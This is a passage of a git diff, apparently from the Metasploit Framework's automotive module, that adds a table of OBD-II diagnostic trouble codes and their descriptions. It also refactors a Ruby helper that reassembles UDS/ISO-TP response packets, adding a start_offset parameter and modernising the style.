'D' Performance or Stuck Off", + "P2715" => "Pressure Control Solenoid 'D' Stuck On", + "P2716" => "Pressure Control Solenoid 'D' Electrical", + "P2717" => "Pressure Control Solenoid 'D' Intermittent", + "P2718" => "Pressure Control Solenoid 'D' Control Circuit / Open", + "P2719" => "Pressure Control Solenoid 'D' Control Circuit Range/Performance", + "P2720" => "Pressure Control Solenoid 'D' Control Circuit Low", + "P2721" => "Pressure Control Solenoid 'D' Control Circuit High", + "P2722" => "Pressure Control Solenoid 'E'", + "P2723" => "Pressure Control Solenoid 'E' Performance or Stuck Off", + "P2724" => "Pressure Control Solenoid 'E' Stuck On", + "P2725" => "Pressure Control Solenoid 'E' Electrical", + "P2726" => "Pressure Control Solenoid 'E' Intermittent", + "P2727" => "Pressure Control Solenoid 'E' Control Circuit / Open", + "P2728" => "Pressure Control Solenoid 'E' Control Circuit Range/Performance", + "P2729" => "Pressure Control Solenoid 'E' Control Circuit Low", + "P2730" => "Pressure Control Solenoid 'E' Control Circuit High", + "P2731" => "Pressure Control Solenoid 'F'", + "P2732" => "Pressure Control Solenoid 'F' Performance or Stuck Off", + "P2733" => "Pressure Control Solenoid 'F' Stuck On", + "P2734" => "Pressure Control Solenoid 'F' Electrical", + "P2735" => "Pressure Control Solenoid 'F' Intermittent", + "P2736" => "Pressure Control Solenoid 'F' Control Circuit/Open", + "P2737" => "Pressure Control Solenoid 'F' Control Circuit Range/Performance", + "P2738" => "Pressure Control Solenoid 'F' Control Circuit Low", + "P2739" => "Pressure Control Solenoid 'F' Control Circuit High", + "P2740" => "Transmission Fluid Temperature Sensor 'B' Circuit", + "P2741" => "Transmission Fluid Temperature Sensor 'B' Circuit Range Performance", + "P2742" => "Transmission Fluid Temperature Sensor 'B' Circuit Low", + "P2743" => "Transmission Fluid Temperature Sensor 'B' Circuit High", + "P2744" => "Transmission Fluid Temperature Sensor 'B' Circuit Intermittent", + "P2745" => "Intermediate Shaft Speed Sensor 'B' Circuit", + "P2746" => "Intermediate Shaft Speed Sensor 'B' Circuit Range/Performance", + "P2747" => "Intermediate Shaft Speed Sensor 'B' Circuit No Signal", + "P2748" => "Intermediate Shaft Speed Sensor 'B' Circuit Intermittent", + "P2749" => "Intermediate Shaft Speed Sensor 'C' Circuit", + "P2750" => "Intermediate Shaft Speed Sensor 'C' Circuit Range/Performance", + "P2751" => "Intermediate Shaft Speed Sensor 'C' Circuit No Signal", + "P2752" => "Intermediate Shaft Speed Sensor 'C' Circuit Intermittent", + "P2753" => "Transmission Fluid Cooler Control Circuit/Open", + "P2754" => "Transmission Fluid Cooler Control Circuit Low", + "P2755" => "Transmission Fluid Cooler Control Circuit High", + "P2756" => "Torque Converter Clutch Pressure Control Solenoid", + "P2757" => "Torque Converter Clutch Pressure Control Solenoid Control Circuit Performance or Stuck Off", + "P2758" => "Torque Converter Clutch Pressure Control Solenoid Control Circuit Stuck On", + "P2759" => "Torque Converter Clutch Pressure Control Solenoid Control Circuit Electrical", + "P2760" => "Torque Converter Clutch Pressure Control Solenoid Control Circuit Intermittent", + "P2761" => "Torque Converter Clutch Pressure Control Solenoid Control Circuit/Open", + "P2762" => "Torque Converter Clutch Pressure Control Solenoid Control Circuit Range/Performance", + "P2763" => "Torque Converter Clutch Pressure Control Solenoid Control Circuit High", + "P2764" => "Torque Converter Clutch Pressure Control Solenoid Control Circuit Low", + "P2765" => "Input/Turbine Speed Sensor 'B' Circuit", + "P2766" => "Input/Turbine Speed Sensor 'B' Circuit Range/Performance", + "P2767" => "Input/Turbine Speed Sensor 'B' Circuit No Signal", + "P2768" => "Input/Turbine Speed Sensor 'B' Circuit Intermittent", + "P2769" => "Torque Converter Clutch Circuit Low", + "P2770" => "Torque Converter Clutch Circuit High", + "P2771" => "Four Wheel Drive (4WD) Low Switch Circuit", + "P2772" => "Four Wheel Drive (4WD) Low Switch Circuit Range/Performance", + "P2773" => "Four Wheel Drive (4WD) Low Switch Circuit Low", + "P2774" => "Four Wheel Drive (4WD) Low Switch Circuit High", + "P2775" => "Upshift Switch Circuit Range/Performance", + "P2776" => "Upshift Switch Circuit Low", + "P2777" => "Upshift Switch Circuit High", + "P2778" => "Upshift Switch Circuit Intermittent/Erratic", + "P2779" => "Downshift Switch Circuit Range/Performance", + "P2780" => "Downshift Switch Circuit Low", + "P2781" => "Downshift Switch Circuit High", + "P2782" => "Downshift Switch Circuit Intermittent/Erratic", + "P2783" => "Torque Converter Temperature Too High", + "P2784" => "Input/Turbine Speed Sensor 'A'/'B' Correlation", + "P2785" => "Clutch Actuator Temperature Too High", + "P2786" => "Gear Shift Actuator Temperature Too High", + "P2787" => "Clutch Temperature Too High", + "P2788" => "Auto Shift Manual Adaptive Learning at Limit", + "P2789" => "Clutch Adaptive Learning at Limit", + "P2790" => "Gate Select Direction Circuit", + "P2791" => "Gate Select Direction Circuit Low", + "P2792" => "Gate Select Direction Circuit High", + "P2793" => "Gear Shift Direction Circuit", + "P2794" => "Gear Shift Direction Circuit Low", + "P2795" => "Gear Shift Direction Circuit High", + "P2A00" => "O2 Sensor Circuit Range/Performance", + "P2A01" => "O2 Sensor Circuit Range/Performance", + "P2A02" => "O2 Sensor Circuit Range/Performance", + "P2A03" => "O2 Sensor Circuit Range/Performance", + "P2A04" => "O2 Sensor Circuit Range/Performance", + "P2A05" => "O2 Sensor Circuit Range/Performance", + "P3400" => "Cylinder Deactivation System", + "P3401" => "Cylinder 1 Deactivation/lntake Valve Control Circuit/Open", + "P3402" => "Cylinder 1 Deactivation/lntake Valve Control Performance", + "P3403" => "Cylinder 1 Deactivation/lntake Valve Control Circuit Low", + "P3404" => "Cylinder 1 Deactivation/lntake Valve Control Circuit High", + "P3405" => "Cylinder 1 Exhaust Valve Control Circuit/Open", + "P3406" => "Cylinder 1 Exhaust Valve Control Performance", + "P3407" => "Cylinder 1 Exhaust Valve Control Circuit Low", + "P3408" => "Cylinder 1 Exhaust Valve Control Circuit High", + "P3409" => "Cylinder 2 Deactivation/lntake Valve Control Circuit/Open", + "P3410" => "Cylinder 2 Deactivation/lntake Valve Control Performance", + "P3411" => "Cylinder 2 Deactivation/lntake Valve Control Circuit Low", + "P3412" => "Cylinder 2 Deactivation/lntake Valve Control Circuit High", + "P3413" => "Cylinder 2 Exhaust Valve Control Circuit/Open", + "P3414" => "Cylinder 2 Exhaust Valve Control Performance", + "P3415" => "Cylinder 2 Exhaust Valve Control Circuit Low", + "P3416" => "Cylinder 2 Exhaust Valve Control Circuit High", + "P3417" => "Cylinder 3 Deactivation/lntake Valve Control Circuit/Open", + "P3418" => "Cylinder 3 Deactivation/lntake Valve Control Performance", + "P3419" => "Cylinder 3 Deactivation/lntake Valve Control Circuit Low", + "P3420" => "Cylinder 3 Deactivation/lntake Valve Control Circuit High", + "P3421" => "Cylinder 3 Exhaust Valve Control Circuit/Open", + "P3422" => "Cylinder 3 Exhaust Valve Control Performance", + "P3423" => "Cylinder 3 Exhaust Valve Control Circuit Low", + "P3424" => "Cylinder 3 Exhaust Valve Control Circuit High", + "P3425" => "Cylinder 4 Deactivation/lntake Valve Control Circuit/Open", + "P3426" => "Cylinder 4 Deactivation/lntake Valve Control Performance", + "P3427" => "Cylinder 4 Deactivation/lntake Valve Control Circuit Low", + "P3428" => "Cylinder 4 Deactivation/lntake Valve Control Circuit High", + "P3429" => "Cylinder 4 Exhaust Valve Control Circuit/Open", + "P3430" => "Cylinder 4 Exhaust Valve Control Performance", + "P3431" => "Cylinder 4 Exhaust Valve Control Circuit Low", + "P3432" => "Cylinder 4 Exhaust Valve Control Circuit High", + "P3433" => "Cylinder 5 Deactivation/lntake Valve Control Circuit/Open", + "P3434" => "Cylinder 5 Deactivation/lntake Valve Control Performance", + "P3435" => "Cylinder 5 Deactivation/lntake Valve Control Circuit Low", + "P3436" => "Cylinder 5 Deactivation/lntake Valve Control Circuit High", + "P3437" => "Cylinder 5 Exhaust Valve Control Circuit/Open", + "P3438" => "Cylinder 5 Exhaust Valve Control Performance", + "P3439" => "Cylinder 5 Exhaust Valve Control Circuit Low", + "P3440" => "Cylinder 5 Exhaust Valve Control Circuit High", + "P3441" => "Cylinder 6 Deactivation/lntake Valve Control Circuit/Open", + "P3442" => "Cylinder 6 Deactivation/lntake Valve Control Performance", + "P3443" => "Cylinder 6 Deactivation/lntake Valve Control Circuit Low", + "P3444" => "Cylinder 6 Deactivation/lntake Valve Control Circuit High", + "P3445" => "Cylinder 6 Exhaust Valve Control Circuit/Open", + "P3446" => "Cylinder 6 Exhaust Valve Control Performance", + "P3447" => "Cylinder 6 Exhaust Valve Control Circuit Low", + "P3448" => "Cylinder 6 Exhaust Valve Control Circuit High", + "P3449" => "Cylinder 7 Deactivation/lntake Valve Control Circuit/Open", + "P3450" => "Cylinder 7 Deactivation/lntake Valve Control Performance", + "P3451" => "Cylinder 7 Deactivation/lntake Valve Control Circuit Low", + "P3452" => "Cylinder 7 Deactivation/lntake Valve Control Circuit High", + "P3453" => "Cylinder 7 Exhaust Valve Control Circuit/Open", + "P3454" => "Cylinder 7 Exhaust Valve Control Performance", + "P3455" => "Cylinder 7 Exhaust Valve Control Circuit Low", + "P3456" => "Cylinder 7 Exhaust Valve Control Circuit High", + "P3457" => "Cylinder 8 Deactivation/lntake Valve Control Circuit/Open", + "P3458" => "Cylinder 8 Deactivation/lntake Valve Control Performance", + "P3459" => "Cylinder 8 Deactivation/lntake Valve Control Circuit Low", + "P3460" => "Cylinder 8 Deactivation/lntake Valve Control Circuit High", + "P3461" => "Cylinder 8 Exhaust Valve Control Circuit/Open", + "P3462" => "Cylinder 8 Exhaust Valve Control Performance", + "P3463" => "Cylinder 8 Exhaust Valve Control Circuit Low", + "P3464" => "Cylinder 8 Exhaust Valve Control Circuit High", + "P3465" => "Cylinder 9 Deactivation/lntake Valve Control Circuit/Open", + "P3466" => "Cylinder 9 Deactivation/lntake Valve Control Performance", + "P3467" => "Cylinder 9 Deactivation/lntake Valve Control Circuit Low", + "P3468" => "Cylinder 9 Deactivation/lntake Valve Control Circuit High", + "P3469" => "Cylinder 9 Exhaust Valve Control Circuit/Open", + "P3470" => "Cylinder 9 Exhaust Valve Control Performance", + "P3471" => "Cylinder 9 Exhaust Valve Control Circuit Low", + "P3472" => "Cylinder 9 Exhaust Valve Control Circuit High", + "P3473" => "Cylinder 10 Deactivation/lntake Valve Control Circuit/Open", + "P3474" => "Cylinder 10 Deactivation/lntake Valve Control Performance", + "P3475" => "Cylinder 10 Deactivation/lntake Valve Control Circuit Low", + "P3476" => "Cylinder 10 Deactivation/lntake Valve Control Circuit High", + "P3477" => "Cylinder 10 Exhaust Valve Control Circuit/Open", + "P3478" => "Cylinder 10 Exhaust Valve Control Performance", + "P3479" => "Cylinder 10 Exhaust Valve Control Circuit Low", + "P3480" => "Cylinder 10 Exhaust Valve Control Circuit High", + "P3481" => "Cylinder 11 Deactivation/lntake Valve Control Circuit/Open", + "P3482" => "Cylinder 11 Deactivation/lntake Valve Control Performance", + "P3483" => "Cylinder 11 Deactivation/lntake Valve Control Circuit Low", + "P3484" => "Cylinder 11 Deactivation/lntake Valve Control Circuit High", + "P3485" => "Cylinder 11 Exhaust Valve Control Circuit/Open", + "P3486" => "Cylinder 11 Exhaust Valve Control Performance", + "P3487" => "Cylinder 11 Exhaust Valve Control Circuit Low", + "P3488" => "Cylinder 11 Exhaust Valve Control Circuit High", + "P3489" => "Cylinder 12 Deactivation/lntake Valve Control Circuit/Open", + "P3490" => "Cylinder 12 Deactivation/lntake Valve Control Performance", + "P3491" => "Cylinder 12 Deactivation/lntake Valve Control Circuit Low", + "P3492" => "Cylinder 12 Deactivation/lntake Valve Control Circuit High", + "P3493" => "Cylinder 12 Exhaust Valve Control Circuit/Open", + "P3494" => "Cylinder 12 Exhaust Valve Control Performance", + "P3495" => "Cylinder 12 Exhaust Valve Control Circuit Low", + "P3496" => "Cylinder 12 Exhaust Valve Control Circuit High", + "P3497" => "Cylinder Deactivation System", + "U0001" => "High Speed CAN Communication Bus" , + "U0002" => "High Speed CAN Communication Bus (Performance)" , + "U0003" => "High Speed CAN Communication Bus (Open)" , + "U0004" => "High Speed CAN Communication Bus (Low)" , + "U0005" => "High Speed CAN Communication Bus (High)" , + "U0006" => "High Speed CAN Communication Bus (Open)" , + "U0007" => "High Speed CAN Communication Bus (Low)" , + "U0008" => "High Speed CAN Communication Bus (High)" , + "U0009" => "High Speed CAN Communication Bus (shorted to Bus)" , + "U0010" => "Medium Speed CAN Communication Bus" , + "U0011" => "Medium Speed CAN Communication Bus (Performance)" , + "U0012" => "Medium Speed CAN Communication Bus (Open)" , + "U0013" => "Medium Speed CAN Communication Bus (Low)" , + "U0014" => "Medium Speed CAN Communication Bus (High)" , + "U0015" => "Medium Speed CAN Communication Bus (Open)" , + "U0016" => "Medium Speed CAN Communication Bus (Low)" , + "U0017" => "Medium Speed CAN Communication Bus (High)" , + "U0018" => "Medium Speed CAN Communication Bus (shorted to Bus)" , + "U0019" => "Low Speed CAN Communication Bus" , + "U0020" => "Low Speed CAN Communication Bus (Performance)" , + "U0021" => "Low Speed CAN Communication Bus (Open)" , + "U0022" => "Low Speed CAN Communication Bus (Low)" , + "U0023" => "Low Speed CAN Communication Bus (High)" , + "U0024" => "Low Speed CAN Communication Bus (Open)" , + "U0025" => "Low Speed CAN Communication Bus (Low)" , + "U0026" => "Low Speed CAN Communication Bus (High)" , + "U0027" => "Low Speed CAN Communication Bus (shorted to Bus)" , + "U0028" => "Vehicle Communication Bus A" , + "U0029" => "Vehicle Communication Bus A (Performance)" , + "U0030" => "Vehicle Communication Bus A (Open)" , + "U0031" => "Vehicle Communication Bus A (Low)" , + "U0032" => "Vehicle Communication Bus A (High)" , + "U0033" => "Vehicle Communication Bus A (Open)" , + "U0034" => "Vehicle Communication Bus A (Low)" , + "U0035" => "Vehicle Communication Bus A (High)" , + "U0036" => "Vehicle Communication Bus A (shorted to Bus A)" , + "U0037" => "Vehicle Communication Bus B" , + "U0038" => "Vehicle Communication Bus B (Performance)" , + "U0039" => "Vehicle Communication Bus B (Open)" , + "U0040" => "Vehicle Communication Bus B (Low)" , + "U0041" => "Vehicle Communication Bus B (High)" , + "U0042" => "Vehicle Communication Bus B (Open)" , + "U0043" => "Vehicle Communication Bus B (Low)" , + "U0044" => "Vehicle Communication Bus B (High)" , + "U0045" => "Vehicle Communication Bus B (shorted to Bus B)" , + "U0046" => "Vehicle Communication Bus C" , + "U0047" => "Vehicle Communication Bus C (Performance)" , + "U0048" => "Vehicle Communication Bus C (Open)" , + "U0049" => "Vehicle Communication Bus C (Low)" , + "U0050" => "Vehicle Communication Bus C (High)" , + "U0051" => "Vehicle Communication Bus C (Open)" , + "U0052" => "Vehicle Communication Bus C (Low)" , + "U0053" => "Vehicle Communication Bus C (High)" , + "U0054" => "Vehicle Communication Bus C (shorted to Bus C)" , + "U0055" => "Vehicle Communication Bus D" , + "U0056" => "Vehicle Communication Bus D (Performance)" , + "U0057" => "Vehicle Communication Bus D (Open)" , + "U0058" => "Vehicle Communication Bus D (Low)" , + "U0059" => "Vehicle Communication Bus D (High)" , + "U0060" => "Vehicle Communication Bus D (Open)" , + "U0061" => "Vehicle Communication Bus D (Low)" , + "U0062" => "Vehicle Communication Bus D (High)" , + "U0063" => "Vehicle Communication Bus D (shorted to Bus D)" , + "U0064" => "Vehicle Communication Bus E" , + "U0065" => "Vehicle Communication Bus E (Performance)" , + "U0066" => "Vehicle Communication Bus E (Open)" , + "U0067" => "Vehicle Communication Bus E (Low)" , + "U0068" => "Vehicle Communication Bus E (High)" , + "U0069" => "Vehicle Communication Bus E (Open)" , + "U0070" => "Vehicle Communication Bus E (Low)" , + "U0071" => "Vehicle Communication Bus E (High)" , + "U0072" => "Vehicle Communication Bus E (shorted to Bus E)" , + "U0073" => "Control Module Communication Bus Off" , + "U0074" => "Reserved by J2012" , + "U0075" => "Reserved by J2012" , + "U0076" => "Reserved by J2012" , + "U0077" => "Reserved by J2012" , + "U0078" => "Reserved by J2012" , + "U0079" => "Reserved by J2012" , + "U0080" => "Reserved by J2012" , + "U0081" => "Reserved by J2012" , + "U0082" => "Reserved by J2012" , + "U0083" => "Reserved by J2012" , + "U0084" => "Reserved by J2012" , + "U0085" => "Reserved by J2012" , + "U0086" => "Reserved by J2012" , + "U0087" => "Reserved by J2012" , + "U0088" => "Reserved by J2012" , + "U0089" => "Reserved by J2012" , + "U0090" => "Reserved by J2012" , + "U0091" => "Reserved by J2012" , + "U0092" => "Reserved by J2012" , + "U0093" => "Reserved by J2012" , + "U0094" => "Reserved by J2012" , + "U0095" => "Reserved by J2012" , + "U0096" => "Reserved by J2012" , + "U0097" => "Reserved by J2012" , + "U0098" => "Reserved by J2012" , + "U0099" => "Reserved by J2012" , + "U0100" => "Lost Communication With ECM/PCM A" , + "U0101" => "Lost Communication with TCM" , + "U0102" => "Lost Communication with Transfer Case Control Module" , + "U0103" => "Lost Communication With Gear Shift Module" , + "U0104" => "Lost Communication With Cruise Control Module" , + "U0105" => "Lost Communication With Fuel Injector Control Module" , + "U0106" => "Lost Communication With Glow Plug Control Module" , + "U0107" => "Lost Communication With Throttle Actuator Control Module" , + "U0108" => "Lost Communication With Alternative Fuel Control Module" , + "U0109" => "Lost Communication With Fuel Pump Control Module" , + "U0110" => "Lost Communication With Drive Motor Control Module" , + "U0111" => "Lost Communication With Battery Energy Control Module 'A'" , + "U0112" => "Lost Communication With Battery Energy Control Module 'B'" , + "U0113" => "Lost Communication With Emissions Critical Control Information" , + "U0114" => "Lost Communication With Four-Wheel Drive Clutch Control Module" , + "U0115" => "Lost Communication With ECM/PCM B" , + "U0116" => "Reserved by J2012" , + "U0117" => "Reserved by J2012" , + "U0118" => "Reserved by J2012" , + "U0119" => "Reserved by J2012" , + "U0120" => "Reserved by J2012" , + "U0121" => "Lost Communication With Anti-Lock Brake System (ABS) Control Module" , + "U0122" => "Lost Communication With Vehicle Dynamics Control Module" , + "U0123" => "Lost Communication With Yaw Rate Sensor Module" , + "U0124" => "Lost Communication With Lateral Acceleration Sensor Module" , + "U0125" => "Lost Communication With Multi-axis Acceleration Sensor Module" , + "U0126" => "Lost Communication With Steering Angle Sensor Module" , + "U0127" => "Lost Communication With Tire Pressure Monitor Module" , + "U0128" => "Lost Communication With Park Brake Control Module" , + "U0129" => "Lost Communication With Brake System Control Module" , + "U0130" => "Lost Communication With Steering Effort Control Module" , + "U0131" => "Lost Communication With Power Steering Control Module" , + "U0132" => "Lost Communication With Ride Level Control Module" , + "U0133" => "Reserved by J2012" , + "U0134" => "Reserved by J2012" , + "U0135" => "Reserved by J2012" , + "U0136" => "Reserved by J2012" , + "U0137" => "Reserved by J2012" , + "U0138" => "Reserved by J2012" , + "U0139" => "Reserved by J2012" , + "U0140" => "Lost Communication With Body Control Module" , + "U0141" => "Lost Communication With Body Control Module 'A'" , + "U0142" => "Lost Communication With Body Control Module 'B'" , + "U0143" => "Lost Communication With Body Control Module 'C'" , + "U0144" => "Lost Communication With Body Control Module 'D'" , + "U0145" => "Lost Communication With Body Control Module 'E'" , + "U0146" => "Lost Communication With Gateway 'A'" , + "U0147" => "Lost Communication With Gateway 'B'" , + "U0148" => "Lost Communication With Gateway 'C'" , + "U0149" => "Lost Communication With Gateway 'D'" , + "U0150" => "Lost Communication With Gateway 'E'" , + "U0151" => "Lost Communication With Restraints Control Module" , + "U0152" => "Lost Communication With Side Restraints Control Module Left" , + "U0153" => "Lost Communication With Side Restraints Control Module Right" , + "U0154" => "Lost Communication With Restraints Occupant Sensing Control Module" , + "U0155" => "Lost Communication With Instrument Panel Cluster (IPC) Control Module" , + "U0156" => "Lost Communication With Information Center 'A'" , + "U0157" => "Lost Communication With Information Center 'B'" , + "U0158" => "Lost Communication With Head Up Display" , + "U0159" => "Lost Communication With Parking Assist Control Module" , + "U0160" => "Lost Communication With Audible Alert Control Module" , + "U0161" => "Lost Communication With Compass Module" , + "U0162" => "Lost Communication With Navigation Display Module" , + "U0163" => "Lost Communication With Navigation Control Module" , + "U0164" => "Lost Communication With HVAC Control Module" , + "U0165" => "Lost Communication With HVAC Control Module Rear" , + "U0166" => "Lost Communication With Auxiliary Heater Control Module" , + "U0167" => "Lost Communication With Vehicle Immobilizer Control Module" , + "U0168" => "Lost Communication With Vehicle Security Control Module" , + "U0169" => "Lost Communication With Sunroof Control Module" , + "U0170" => "Lost Communication With 'Restraints System Sensor A'" , + "U0171" => "Lost Communication With 'Restraints System Sensor B'" , + "U0172" => "Lost Communication With 'Restraints System Sensor C'" , + "U0173" => "Lost Communication With 'Restraints System Sensor D'" , + "U0174" => "Lost Communication With 'Restraints System Sensor E'" , + "U0175" => "Lost Communication With 'Restraints System Sensor F'" , + "U0176" => "Lost Communication With 'Restraints System Sensor G'" , + "U0177" => "Lost Communication With 'Restraints System Sensor H'" , + "U0178" => "Lost Communication With 'Restraints System Sensor I'" , + "U0179" => "Lost Communication With 'Restraints System Sensor J'" , + "U0180" => "Lost Communication With Automatic Lighting Control Module" , + "U0181" => "Lost Communication With Headlamp Leveling Control Module" , + "U0182" => "Lost Communication With Lighting Control Module Front" , + "U0183" => "Lost Communication With Lighting Control Module Rear" , + "U0184" => "Lost Communication With Radio" , + "U0185" => "Lost Communication With Antenna Control Module" , + "U0186" => "Lost Communication With Audio Amplifier" , + "U0187" => "Lost Communication With Digital Disc Player/Changer Module 'A'" , + "U0188" => "Lost Communication With Digital Disc Player/Changer Module 'B'" , + "U0189" => "Lost Communication With Digital Disc Player/Changer Module 'C'" , + "U0190" => "Lost Communication With Digital Disc Player/Changer Module 'D'" , + "U0191" => "Lost Communication With Television" , + "U0192" => "Lost Communication With Personal Computer" , + "U0193" => "Lost Communication With 'Digital Audio Control Module A'" , + "U0194" => "Lost Communication With 'Digital Audio Control Module B'" , + "U0195" => "Lost Communication With Subscription Entertainment Receiver Module" , + "U0196" => "Lost Communication With Rear Seat Entertainment Control Module" , + "U0197" => "Lost Communication With Telephone Control Module" , + "U0198" => "Lost Communication With Telematic Control Module" , + "U0199" => "Lost Communication With 'Door Control Module A'" , + "U0200" => "Lost Communication With 'Door Control Module B'" , + "U0201" => "Lost Communication With 'Door Control Module C'" , + "U0202" => "Lost Communication With 'Door Control Module D'" , + "U0203" => "Lost Communication With 'Door Control Module E'" , + "U0204" => "Lost Communication With 'Door Control Module F'" , + "U0205" => "Lost Communication With 'Door Control Module G'" , + "U0206" => "Lost Communication With Folding Top Control Module" , + "U0207" => "Lost Communication With Moveable Roof Control Module" , + "U0208" => "Lost Communication With 'Seat Control Module A'" , + "U0209" => "Lost Communication With 'Seat Control Module B'" , + "U0210" => "Lost Communication With 'Seat Control Module C'" , + "U0211" => "Lost Communication With 'Seat Control Module D'" , + "U0212" => "Lost Communication With Steering Column Control Module" , + "U0213" => "Lost Communication With Mirror Control Module" , + "U0214" => "Lost Communication With Remote Function Actuation" , + "U0215" => "Lost Communication With 'Door Switch A'" , + "U0216" => "Lost Communication With 'Door Switch B'" , + "U0217" => "Lost Communication With 'Door Switch C'" , + "U0218" => "Lost Communication With 'Door Switch D'" , + "U0219" => "Lost Communication With 'Door Switch E'" , + "U0220" => "Lost Communication With 'Door Switch F'" , + "U0221" => "Lost Communication With 'Door Switch G'" , + "U0222" => "Lost Communication With 'Door Window Motor A'" , + "U0223" => "Lost Communication With 'Door Window Motor B'" , + "U0224" => "Lost Communication With 'Door Window Motor C'" , + "U0225" => "Lost Communication With 'Door Window Motor D'" , + "U0226" => "Lost Communication With 'Door Window Motor E'" , + "U0227" => "Lost Communication With 'Door Window Motor F'" , + "U0228" => "Lost Communication With 'Door Window Motor G'" , + "U0229" => "Lost Communication With Heated Steering Wheel Module" , + "U0230" => "Lost Communication With Rear Gate Module" , + "U0231" => "Lost Communication With Rain Sensing Module" , + "U0232" => "Lost Communication With Side Obstacle Detection Control Module Left" , + "U0233" => "Lost Communication With Side Obstacle Detection Control Module Right" , + "U0234" => "Lost Communication With Convenience Recall Module" , + "U0235" => "Lost Communication With Cruise Control Front Distance Range Sensor" , + "U0300" => "Internal Control Module Software Incompatibility" , + "U0301" => "Software Incompatibility with ECM/PCM" , + "U0302" => "Software Incompatibility with Transmission Control Module" , + "U0303" => "Software Incompatibility with Transfer Case Control Module" , + "U0304" => "Software Incompatibility with Gear Shift Control Module" , + "U0305" => "Software Incompatibility with Cruise Control Module" , + "U0306" => "Software Incompatibility with Fuel Injector Control Module" , + "U0307" => "Software Incompatibility with Glow Plug Control Module" , + "U0308" => "Software Incompatibility with Throttle Actuator Control Module" , + "U0309" => "Software Incompatibility with Alternative Fuel Control Module" , + "U0310" => "Software Incompatibility with Fuel Pump Control Module" , + "U0311" => "Software Incompatibility with Drive Motor Control Module" , + "U0312" => "Software Incompatibility with Battery Energy Control Module A" , + "U0313" => "Software Incompatibility with Battery Energy Control Module B" , + "U0314" => "Software Incompatibility with Four-Wheel Drive Clutch Control Module" , + "U0315" => "Software Incompatibility with Anti-Lock Brake System Control Module" , + "U0316" => "Software Incompatibility with Vehicle Dynamics Control Module" , + "U0317" => "Software Incompatibility with Park Brake Control Module" , + "U0318" => "Software Incompatibility with Brake System Control Module" , + "U0319" => "Software Incompatibility with Steering Effort Control Module" , + "U0320" => "Software Incompatibility with Power Steering Control Module" , + "U0321" => "Software Incompatibility with Ride Level Control Module" , + "U0322" => "Software Incompatibility with Body Control Module" , + "U0323" => "Software Incompatibility with Instrument Panel Control Module" , + "U0324" => "Software Incompatibility with HVAC Control Module" , + "U0325" => "Software Incompatibility with Auxiliary Heater Control Module" , + "U0326" => "Software Incompatibility with Vehicle Immobilizer Control Module" , + "U0327" => "Software Incompatibility with Vehicle Security Control Module" , + "U0328" => "Software Incompatibility with Steering Angle Sensor Module" , + "U0329" => "Software Incompatibility with Steering Column Control Module" , + "U0330" => "Software Incompatibility with Tire Pressure Monitor Module" , + "U0331" => "Software Incompatibility with Body Control Module 'A'" , + "U0400" => "Invalid Data Received" , + "U0401" => "Invalid Data Received From ECM/PCM" , + "U0402" => "Invalid Data Received From Transmission Control Module" , + "U0403" => "Invalid Data Received From Transfer Case Control Module" , + "U0404" => "Invalid Data Received From Gear Shift Control Module" , + "U0405" => "Invalid Data Received From Cruise Control Module" , + "U0406" => "Invalid Data Received From Fuel Injector Control Module" , + "U0407" => "Invalid Data Received From Glow Plug Control Module" , + "U0408" => "Invalid Data Received From Throttle Actuator Control Module" , + "U0409" => "Invalid Data Received From Alternative Fuel Control Module" , + "U0410" => "Invalid Data Received From Fuel Pump Control Module" , + "U0411" => "Invalid Data Received From Drive Motor Control Module" , + "U0412" => "Invalid Data Received From Battery Energy Control Module A" , + "U0413" => "Invalid Data Received From Battery Energy Control Module B" , + "U0414" => "Invalid Data Received From Four-Wheel Drive Clutch Control Module" , + "U0415" => "Invalid Data Received From Anti-Lock Brake System Control Module" , + "U0416" => "Invalid Data Received From Vehicle Dynamics Control Module" , + "U0417" => "Invalid Data Received From Park Brake Control Module" , + "U0418" => "Invalid Data Received From Brake System Control Module" , + "U0419" => "Invalid Data Received From Steering Effort Control Module" , + "U0420" => "Invalid Data Received From Power Steering Control Module" , + "U0421" => "Invalid Data Received From Ride Level Control Module" , + "U0422" => "Invalid Data Received From Body Control Module" , + "U0423" => "Invalid Data Received From Instrument Panel Control Module" , + "U0424" => "Invalid Data Received From HVAC Control Module" , + "U0425" => "Invalid Data Received From Auxiliary Heater Control Module" , + "U0426" => "Invalid Data Received From Vehicle Immobilizer Control Module" , + "U0427" => "Invalid Data Received From Vehicle Security Control Module" , + "U0428" => "Invalid Data Received From Steering Angle Sensor Module" , + "U0429" => "Invalid Data Received From Steering Column Control Module" , + "U0430" => "Invalid Data Received From Tire Pressure Monitor Module" , + "U0431" => "Invalid Data Received From Body Control Module 'A'" +} + +end + +end +end +end +end + diff --git a/lib/msf/core/post/hardware/automotive/uds.rb b/lib/msf/core/post/hardware/automotive/uds.rb index db63a700cd..458d69b30c 100644 --- a/lib/msf/core/post/hardware/automotive/uds.rb +++ b/lib/msf/core/post/hardware/automotive/uds.rb @@ -13,15 +13,16 @@ module UDS # # @param id [String] Hex value as string. Example: 7e0 # @param hash [Hash] Hash that includes "Packets" => [ { "ID" => "0xXXX", "DATA => [ "XX", "XX" ] } ] + # @param start_offset [Integer] First packet start offset after meta data # # @return [Array] Just the data portion of an ISO-TP response represented as Hex Strings # - def response_hash_to_data_array(id, hash) + def response_hash_to_data_array(id, hash, start_offset = 5) data = [] - return data if not hash + return data unless hash bad_count = 0 - if hash.has_key? "Packets" - if not hash["Packets"].size > 1 # Not multiple packets + if hash.key? "Packets" + unless hash["Packets"].size > 1 # Not multiple packets pktdata = hash["Packets"][0]["DATA"] if pktdata[1] == 0x7F print_line("Packet response was an error") @@ -32,14 +33,14 @@ module UDS end left2combine = hash["Packets"].size counter = 0 - while left2combine > 0 and bad_count < (hash["Packets"].size * 2) - #print_line("DEBUG Current status combine=#{left2combine} data=#{data.inspect}") + while left2combine.positive? && (bad_count < (hash["Packets"].size * 2)) + # print_line("DEBUG Current status combine=#{left2combine} data=#{data.inspect}") hash["Packets"].each do |pkt| - if pkt.has_key? "ID" and pkt["ID"].hex == id.hex - if pkt.has_key? "DATA" - if counter == 0 # Get starting packet + if (pkt.key? "ID") && pkt["ID"].hex == id.hex + if pkt.key? "DATA" + if counter.zero? # Get starting packet if pkt["DATA"][0] == "10" - data += pkt["DATA"][5,3] + data += pkt["DATA"][start_offset, 8 - start_offset] left2combine -= 1 counter += 1 else @@ -72,50 +73,50 @@ module UDS # Shows the vehicles current data # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN 